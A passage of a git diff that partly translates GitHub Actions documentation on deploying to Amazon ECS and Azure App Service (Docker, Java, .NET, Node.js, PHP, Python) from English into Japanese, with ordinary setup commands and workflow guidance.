-Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. You can use concurrency so that an environment has a maximum of one deployment in progress and one deployment pending at a time.
+並行処理により、同じ並行処理グループを使用する単一のジョブまたはワークフローのみが一度に実行されます。 並行処理では、環境で一度に最大 1 つのデプロイメントが進行中で、1 つのデプロイメントが保留になるようにすることができます。
 
 {% note %}
 
@@ -132,15 +132,15 @@ jobs:
         # ...deployment-specific steps
 ```
 
-## Viewing deployment history
+## デプロイメント履歴の表示
 
 When a {% data variables.product.prodname_actions %} workflow deploys to an environment, the environment is displayed on the main page of the repository. For more information about viewing deployments to environments, see "[Viewing deployment history](/developers/overview/viewing-deployment-history)."
 
 ## Monitoring workflow runs
 
-Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug deployments. For more information see, "[Using the visualization graph](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph)."
+すべてのワークフローの実行は、実行の進行を示すリアルタイムのグラフを生成します。 You can use this graph to monitor and debug deployments. For more information see, "[Using the visualization graph](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph)."
 
-You can also view the logs of each workflow run and the history of workflow runs. For more information, see "[Viewing workflow run history](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)."
+You can also view the logs of each workflow run and the history of workflow runs. 詳しい情報については、「[ワークフロー実行の履歴を表示する](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)」を参照してください。
 
 ## Tracking deployments through apps
 
@@ -152,7 +152,7 @@ You can also build an app that uses deployment and deployment status webhooks to
 
 {% ifversion fpt or ghes or ghec %}
 
-## Choosing a runner
+## ランナーの選択
 
 You can run your deployment workflow on {% data variables.product.company_short %}-hosted runners or on self-hosted runners. Traffic from {% data variables.product.company_short %}-hosted runners can come from a [wide range of network addresses](/rest/reference/meta#get-github-meta-information). If you are deploying to an internal environment and your company restricts external traffic into private networks, {% data variables.product.prodname_actions %} workflows running on {% data variables.product.company_short %}-hosted runners may not be communicate with your internal services or resources. To overcome this, you can host your own runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[About GitHub-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."
 
@@ -164,7 +164,7 @@ You can use a status badge to display the status of your deployment workflow. {%
 
 For more information, see "[Adding a workflow status badge](/actions/managing-workflow-runs/adding-a-workflow-status-badge)."
 
-## Next steps
+## 次のステップ
 
 This article demonstrated features of {% data variables.product.prodname_actions %} that you can add to your deployment workflows.
 
diff --git a/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md b/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md
index a92d22c49c..206b28f947 100644
--- a/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md
+++ b/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md
@@ -1,6 +1,6 @@
 ---
-title: Deploying to Amazon Elastic Container Service
-intro: You can deploy to Amazon Elastic Container Service (ECS) as part of your continuous deployment (CD) workflows.
+title: Amazon Elastic Container Serviceへのデプロイ
+intro: 継続的デプロイメント（CD）ワークフローの一部として、Amazon Elastic Container Service (ECS) へのデプロイを行えます。
 redirect_from:
   - /actions/guides/deploying-to-amazon-elastic-container-service
   - /actions/deployment/deploying-to-amazon-elastic-container-service
@@ -20,7 +20,7 @@ shortTitle: Deploy to Amazon ECS
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
 This guide explains how to use {% data variables.product.prodname_actions %} to build a containerized application, push it to [Amazon Elastic Container Registry (ECR)](https://aws.amazon.com/ecr/), and deploy it to [Amazon Elastic Container Service (ECS)](https://aws.amazon.com/ecs/) when there is a push to the `main` branch.
 
@@ -36,47 +36,45 @@ On every new push to `main` in your {% data variables.product.company_short %} r
 
 {% endif %}
 
-## Prerequisites
+## 必要な環境
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps for Amazon ECR and ECS:
+{% data variables.product.prodname_actions %}ワークフローを作成する前に、まず以下のAmazon ECR及びECSのセットアップのステップを完了しておかなければなりません。
 
-1. Create an Amazon ECR repository to store your images.
+1. イメージを保存するAmazon ECRリポジトリの作成
 
-   For example, using [the AWS CLI](https://aws.amazon.com/cli/):
+   たとえば[AWS CLI](https://aws.amazon.com/cli/)を使って以下を行います。
 
    {% raw %}```bash{:copy}
-   aws ecr create-repository \
-       --repository-name MY_ECR_REPOSITORY \
-       --region MY_AWS_REGION
+   aws ecr create-repository \ --repository-name MY_ECR_REPOSITORY \ --region MY_AWS_REGION
    ```{% endraw %}
 
-   Ensure that you use the same Amazon ECR repository name (represented here by `MY_ECR_REPOSITORY`) for the `ECR_REPOSITORY` variable in the workflow below.
+   以下のワークフロー中では、`ECR_REPOSITORY`変数に同じAmazon ECRリポジトリ名（ここでは`MY_ECR_REPOSITORY`）を使っていることを確認してください。
 
-   Ensure that you use the same AWS region value for the `AWS_REGION` (represented here by `MY_AWS_REGION`) variable in the workflow below.
+   以下のワークフローで `AWS_REGION` 変数（ここでは MY_AWS_REGION`）に同じ AWSリージョンの値を使用していることを確認してください。
 
-2. Create an Amazon ECS task definition, cluster, and service.
+2. Amazon ECSのタスク定義、クラスター、サービスの作成
 
-   For details, follow the [Getting started wizard on the Amazon ECS console](https://us-east-2.console.aws.amazon.com/ecs/home?region=us-east-2#/firstRun), or the [Getting started guide](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/getting-started-fargate.html) in the Amazon ECS documentation.
+   詳細については、[Getting started wizard on the Amazon ECS console](https://us-east-2.console.aws.amazon.com/ecs/home?region=us-east-2#/firstRun)もしくはAmazon ECSドキュメンテーションの[Fargate を使用した Amazon ECS の開始方法](https://docs.aws.amazon.com/ja_jp/AmazonECS/latest/developerguide/getting-started-fargate.html)を参照してください。
 
-   Ensure that you note the names you set for the Amazon ECS service and cluster, and use them for the `ECS_SERVICE` and `ECS_CLUSTER` variables in the workflow below.
+   Amazon ECSサービスとクラスターに設定した名前を記録しておき、以下のワークフロー中で`ECS_SERVICE`及び`ECS_CLUSTER`の変数に使ってください。
 
-3. Store your Amazon ECS task definition as a JSON file in your {% data variables.product.company_short %} repository.
+3. Amazon ECSのタスク定義をJSONファイルとして{% data variables.product.company_short %}リポジトリに保存してください。
 
-   The format of the file should be the same as the output generated by:
+   ファイルのフォーマットは、以下で生成される出力と同じでなければなりません。
 
    {% raw %}```bash{:copy}
    aws ecs register-task-definition --generate-cli-skeleton
    ```{% endraw %}
 
-   Ensure that you set the `ECS_TASK_DEFINITION` variable in the workflow below as the path to the JSON file.
+以下のワークフローでは、`ECS_TASK_DEFINITION`変数をJSONファイルのパスに設定してください。
 
-   Ensure that you set the `CONTAINER_NAME` variable in the workflow below as the container name in the `containerDefinitions` section of the task definition.
+   以下のワークフロー中の`CONTAINER_NAME`変数を、タスク定義中の`containerDefinitions`セクションのコンテナ名に設定してください。
 
-4. Create {% data variables.product.prodname_actions %} secrets named `AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` to store the values for your Amazon IAM access key.
+4. Amazon IAMアクセスキーの値を保存するための`AWS_ACCESS_KEY_ID`及び`AWS_SECRET_ACCESS_KEY`という名前の{% data variables.product.prodname_actions %}シークレットの作成
 
-   For more information on creating secrets for {% data variables.product.prodname_actions %}, see "[Encrypted secrets](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)."
+   {% data variables.product.prodname_actions %}のシークレットの作成に関する詳しい情報については、「[暗号化されたシークレット]（/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository）」を参照してください。
 
-   See the documentation for each action used below for the recommended IAM policies for the IAM user, and methods for handling the access key credentials.
+   IAMユーザに推奨されるIAMポリシー及びアクセスキーの認証情報を処理するメソッドについては、以下で使われている各アクションのドキュメンテーションを参照してください。
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
@@ -86,9 +84,9 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
 
 Once you've completed the prerequisites, you can proceed with creating the workflow.
 
-The following example workflow demonstrates how to build a container image and push it to Amazon ECR. It then updates the task definition with the new image ID, and deploys the task definition to Amazon ECS.
+以下の例のワークフローは、コンテナイメージを作成してAmazon ECRにプッシュする方法を示します。 そして、タスク定義を新しいイメージIDで更新し、タスク定義をAmazon ECSにデプロイします。
 
-Ensure that you provide your own values for all the variables in the `env` key of the workflow.
+ワークフローの`env`キー内のすべての変数について、自分の値を渡すようにしてください。
 
 {% data reusables.actions.delete-env-key %}
 
@@ -163,14 +161,14 @@ jobs:
           wait-for-service-stability: true{% endraw %}
 ```
 
-## Additional resources
+## 追加リソース
 
 For the original starter workflow, see [`aws.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/aws.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
 
-For more information on the services used in these examples, see the following documentation:
+この例で使われているサービスに関する詳しい情報については、以下のドキュメンテーションを参照してください。
 
-* "[Security best practices in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html)" in the Amazon AWS documentation.
-* Official AWS "[Configure AWS Credentials](https://github.com/aws-actions/configure-aws-credentials)" action.
-* Official AWS [Amazon ECR "Login"](https://github.com/aws-actions/amazon-ecr-login) action.
-* Official AWS [Amazon ECS "Render Task Definition"](https://github.com/aws-actions/amazon-ecs-render-task-definition) action.
-* Official AWS [Amazon ECS "Deploy Task Definition"](https://github.com/aws-actions/amazon-ecs-deploy-task-definition) action.
+* Amazon AWSドキュメンテーションの「[IAM でのセキュリティのベストプラクティス](https://docs.aws.amazon.com/ja_jp/IAM/latest/UserGuide/best-practices.html)」
+* 公式のAWS「[AWS認証情報の設定](https://github.com/aws-actions/configure-aws-credentials)」アクション。
+* 公式のAWS [Amazon ECR "ログイン"](https://github.com/aws-actions/amazon-ecr-login)アクション。
+* 公式のAWS [Amazon ECS "タスク定義の出力"](https://github.com/aws-actions/amazon-ecs-render-task-definition)アクション。
+* 公式のAWS [ Amazon ECS "タスク定義のデプロイ"](https://github.com/aws-actions/amazon-ecs-deploy-task-definition)アクション。
diff --git a/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md b/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md
index 8133adef88..1f010ad82c 100644
--- a/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md
+++ b/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md
@@ -17,7 +17,7 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
 This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a Docker container to [Azure App Service](https://azure.microsoft.com/services/app-service/).
 
@@ -31,13 +31,13 @@ This guide explains how to use {% data variables.product.prodname_actions %} to
 
 {% endif %}
 
-## Prerequisites
+## 必要な環境
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+{% data variables.product.prodname_actions %}ワークフローを作成する前に、まず以下のセットアップのステップを完了しておかなければなりません。
 
 {% data reusables.actions.create-azure-app-plan %}
 
-1. Create a web app.
+1. Webアプリケーションの作成
 
    For example, you can use the Azure CLI to create an Azure App Service web app:
 
@@ -49,13 +49,13 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
        --deployment-container-image-name nginx:latest
    ```
 
-   In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app.
+   上のコマンドで、パラメータは自分の値で置き換えてください。`MY_WEBAPP_NAME`はWebアプリケーションの新しい名前です。
 
 {% data reusables.actions.create-azure-publish-profile %}
 
 1. Set registry credentials for your web app.
 
-   Create a personal access token with the `repo` and `read:packages` scopes. For more information, see "[Creating a personal access token](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)."
+   Create a personal access token with the `repo` and `read:packages` scopes. 詳しい情報については、「[個人アクセストークンを作成する](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)」を参照してください。
 
    Set `DOCKER_REGISTRY_SERVER_URL` to `https://ghcr.io`, `DOCKER_REGISTRY_SERVER_USERNAME` to the GitHub username or organization that owns the repository, and `DOCKER_REGISTRY_SERVER_PASSWORD` to your personal access token from above. This will give your web app credentials so it can pull the container image after your workflow pushes a newly built image to the registry. You can do this with the following Azure CLI command:
 
@@ -70,13 +70,13 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
 5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
 {% endif %}
 
-## Creating the workflow
+## ワークフローの作成
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+必要な環境を整えたら、ワークフローの作成に進むことができます。
 
 The following example workflow demonstrates how to build and deploy a Docker container to Azure App Service when there is a push to the `main` branch.
 
-Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created.
+ワークフローの`env`キー中の`AZURE_WEBAPP_NAME`を、作成したWebアプリケーションの名前に設定してください。
 
 {% data reusables.actions.delete-env-key %}
 
@@ -144,10 +144,10 @@ jobs:
             images: 'ghcr.io/{% raw %}${{ env.REPO }}{% endraw %}:{% raw %}${{ github.sha }}{% endraw %}'
 ```
 
-## Additional resources
+## 追加リソース
 
-The following resources may also be useful:
+以下のリソースも役に立つでしょう。
 
 * For the original starter workflow, see [`azure-container-webapp.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-container-webapp.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
-* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action.
+* Webアプリケーションのデプロイに使われたアクションは、公式のAzure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy)アクションです。
 * For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md b/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md
index 7959f41764..2efa144c66 100644
--- a/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md
+++ b/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md
@@ -17,7 +17,7 @@ topics:
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
 
-## Introduction
+## はじめに
 
 This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a Java project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
 
@@ -31,13 +31,13 @@ This guide explains how to use {% data variables.product.prodname_actions %} to
 
 {% endif %}
 
-## Prerequisites
+## 必要な環境
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+{% data variables.product.prodname_actions %}ワークフローを作成する前に、まず以下のセットアップのステップを完了しておかなければなりません。
 
 {% data reusables.actions.create-azure-app-plan %}
 
-1. Create a web app.
+1. Webアプリケーションの作成
 
    For example, you can use the Azure CLI to create an Azure App Service web app with a Java runtime:
 
@@ -49,7 +49,7 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
        --runtime "JAVA|11-java11"
    ```
 
-   In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app.
+   上のコマンドで、パラメータは自分の値で置き換えてください。`MY_WEBAPP_NAME`はWebアプリケーションの新しい名前です。
 
 {% data reusables.actions.create-azure-publish-profile %}
 
@@ -57,13 +57,13 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
 1. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
 {% endif %}
 
-## Creating the workflow
+## ワークフローの作成
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+必要な環境を整えたら、ワークフローの作成に進むことができます。
 
 The following example workflow demonstrates how to build and deploy a Java project to Azure App Service when there is a push to the `main` branch.
 
-Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If you want to use a Java version other than `11`, change `JAVA_VERSION`.
+ワークフローの`env`キー中の`AZURE_WEBAPP_NAME`を、作成したWebアプリケーションの名前に設定してください。 If you want to use a Java version other than `11`, change `JAVA_VERSION`.
 
 {% data reusables.actions.delete-env-key %}
 
@@ -125,10 +125,10 @@ jobs:
           package: '*.jar'
 ```
 
-## Additional resources
+## 追加リソース
 
-The following resources may also be useful:
+以下のリソースも役に立つでしょう。
 
 * For the original starter workflow, see [`azure-webapps-java-jar.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-java-jar.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
-* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action.
+* Webアプリケーションのデプロイに使われたアクションは、公式のAzure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy)アクションです。
 * For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md b/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md
index 2da7e39ce0..4c843e5c99 100644
--- a/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md
+++ b/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md
@@ -16,7 +16,7 @@ topics:
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
 
-## Introduction
+## はじめに
 
 This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a .NET project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
 
@@ -30,13 +30,13 @@ This guide explains how to use {% data variables.product.prodname_actions %} to
 
 {% endif %}
 
-## Prerequisites
+## 必要な環境
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+{% data variables.product.prodname_actions %}ワークフローを作成する前に、まず以下のセットアップのステップを完了しておかなければなりません。
 
 {% data reusables.actions.create-azure-app-plan %}
 
-2. Create a web app.
+2. Webアプリケーションの作成
 
    For example, you can use the Azure CLI to create an Azure App Service web app with a .NET runtime:
 
@@ -48,7 +48,7 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
        --runtime "DOTNET|5.0"
    ```
 
-   In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app.
+   上のコマンドで、パラメータは自分の値で置き換えてください。`MY_WEBAPP_NAME`はWebアプリケーションの新しい名前です。
 
 {% data reusables.actions.create-azure-publish-profile %}
 
@@ -56,13 +56,13 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
 5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
 {% endif %}
 
-## Creating the workflow
+## ワークフローの作成
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+必要な環境を整えたら、ワークフローの作成に進むことができます。
 
 The following example workflow demonstrates how to build and deploy a .NET project to Azure App Service when there is a push to the `main` branch.
 
-Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH`.  If you use a version of .NET other than `5`, change `DOTNET_VERSION`.
+ワークフローの`env`キー中の`AZURE_WEBAPP_NAME`を、作成したWebアプリケーションの名前に設定してください。 If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH`.  If you use a version of .NET other than `5`, change `DOTNET_VERSION`.
 
 {% data reusables.actions.delete-env-key %}
 
@@ -135,10 +135,10 @@ jobs:
           package: {% raw %}${{ env.AZURE_WEBAPP_PACKAGE_PATH }}{% endraw %}
 ```
 
-## Additional resources
+## 追加リソース
 
-The following resources may also be useful:
+以下のリソースも役に立つでしょう。
 
 * For the original starter workflow, see [`azure-webapps-dotnet-core.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-dotnet-core.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
-* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action.
+* Webアプリケーションのデプロイに使われたアクションは、公式のAzure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy)アクションです。
 * For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md b/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md
index e6f8f08b7c..195b388638 100644
--- a/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md
+++ b/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md
@@ -22,7 +22,7 @@ topics:
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
 
-## Introduction
+## はじめに
 
 This guide explains how to use {% data variables.product.prodname_actions %} to build, test, and deploy a Node.js project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
 
@@ -36,13 +36,13 @@ This guide explains how to use {% data variables.product.prodname_actions %} to
 
 {% endif %}
 
-## Prerequisites
+## 必要な環境
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+{% data variables.product.prodname_actions %}ワークフローを作成する前に、まず以下のセットアップのステップを完了しておかなければなりません。
 
 {% data reusables.actions.create-azure-app-plan %}
 
-2. Create a web app.
+2. Webアプリケーションの作成
 
    For example, you can use the Azure CLI to create an Azure App Service web app with a Node.js runtime:
 
@@ -54,7 +54,7 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
        --runtime "NODE|14-lts"
    ```
 
-   In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app.
+   上のコマンドで、パラメータは自分の値で置き換えてください。`MY_WEBAPP_NAME`はWebアプリケーションの新しい名前です。
 
 {% data reusables.actions.create-azure-publish-profile %}
 
@@ -62,13 +62,13 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
 5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
 {% endif %}
 
-## Creating the workflow
+## ワークフローの作成
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+必要な環境を整えたら、ワークフローの作成に進むことができます。
 
 The following example workflow demonstrates how to build, test, and deploy the Node.js project to Azure App Service when there is a push to the `main` branch.
 
-Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH`  to your project path. If you use a version of Node.js other than `10.x`, change `NODE_VERSION` to the version that you use.
+ワークフローの`env`キー中の`AZURE_WEBAPP_NAME`を、作成したWebアプリケーションの名前に設定してください。 If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH`  to your project path. If you use a version of Node.js other than `10.x`, change `NODE_VERSION` to the version that you use.
 
 {% data reusables.actions.delete-env-key %}
 
@@ -130,12 +130,11 @@ jobs:
         package: {% raw %}${{ env.AZURE_WEBAPP_PACKAGE_PATH }}{% endraw %}
 ```
 
-## Additional resources
+## 追加リソース
 
-The following resources may also be useful:
+以下のリソースも役に立つでしょう。
 
 * For the original starter workflow, see [`azure-webapps-node.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-node.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
-* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action.
-* For more examples of GitHub Action workflows that deploy to Azure, see the 
-[actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
+* Webアプリケーションのデプロイに使われたアクションは、公式のAzure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy)アクションです。
+* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
 * The "[Create a Node.js web app in Azure](https://docs.microsoft.com/azure/app-service/quickstart-nodejs)" quickstart in the Azure web app documentation demonstrates using VS Code with the [Azure App Service extension](https://marketplace.visualstudio.com/items?itemName=ms-azuretools.vscode-azureappservice).
diff --git a/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md b/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md
index 3931a1c6eb..abc0e6180e 100644
--- a/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md
+++ b/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md
@@ -16,7 +16,7 @@ topics:
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
 
-## Introduction
+## はじめに
 
 This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a PHP project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
 
@@ -30,13 +30,13 @@ This guide explains how to use {% data variables.product.prodname_actions %} to
 
 {% endif %}
 
-## Prerequisites
+## 必要な環境
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+{% data variables.product.prodname_actions %}ワークフローを作成する前に、まず以下のセットアップのステップを完了しておかなければなりません。
 
 {% data reusables.actions.create-azure-app-plan %}
 
-2. Create a web app.
+2. Webアプリケーションの作成
 
    For example, you can use the Azure CLI to create an Azure App Service web app with a PHP runtime:
 
@@ -48,7 +48,7 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
        --runtime "php|7.4"
    ```
 
-   In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app.
+   上のコマンドで、パラメータは自分の値で置き換えてください。`MY_WEBAPP_NAME`はWebアプリケーションの新しい名前です。
 
 {% data reusables.actions.create-azure-publish-profile %}
 
@@ -56,13 +56,13 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
 5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
 {% endif %}
 
-## Creating the workflow
+## ワークフローの作成
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+必要な環境を整えたら、ワークフローの作成に進むことができます。
 
 The following example workflow demonstrates how to build and deploy a PHP project to Azure App Service when there is a push to the `main` branch.
 
-Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH` to the path to your project. If you use a version of PHP other than `8.x`, change`PHP_VERSION` to the version that you use.
+ワークフローの`env`キー中の`AZURE_WEBAPP_NAME`を、作成したWebアプリケーションの名前に設定してください。 If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH` to the path to your project. If you use a version of PHP other than `8.x`, change`PHP_VERSION` to the version that you use.
 
 {% data reusables.actions.delete-env-key %}
 
@@ -146,10 +146,10 @@ jobs:
           package: .
 ```
 
-## Additional resources
+## 追加リソース
 
-The following resources may also be useful:
+以下のリソースも役に立つでしょう。
 
 * For the original starter workflow, see [`azure-webapps-php.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-php.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
-* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action.
+* Webアプリケーションのデプロイに使われたアクションは、公式のAzure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy)アクションです。
 * For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md b/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md
index f7001b459c..e1b0eaea6e 100644
--- a/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md
+++ b/translations/ja-JP/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md
@@ -17,7 +17,7 @@ topics:
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
 
-## Introduction
+## はじめに
 
 This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a Python project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
 
@@ -31,13 +31,13 @@ This guide explains how to use {% data variables.product.prodname_actions %} to
 
 {% endif %}
 
-## Prerequisites
+## 必要な環境
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+{% data variables.product.prodname_actions %}ワークフローを作成する前に、まず以下のセットアップのステップを完了しておかなければなりません。
 
 {% data reusables.actions.create-azure-app-plan %}
 
-1. Create a web app.
+1. Webアプリケーションの作成
 
    For example, you can use the Azure CLI to create an Azure App Service web app with a Python runtime:
 
@@ -49,7 +49,7 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
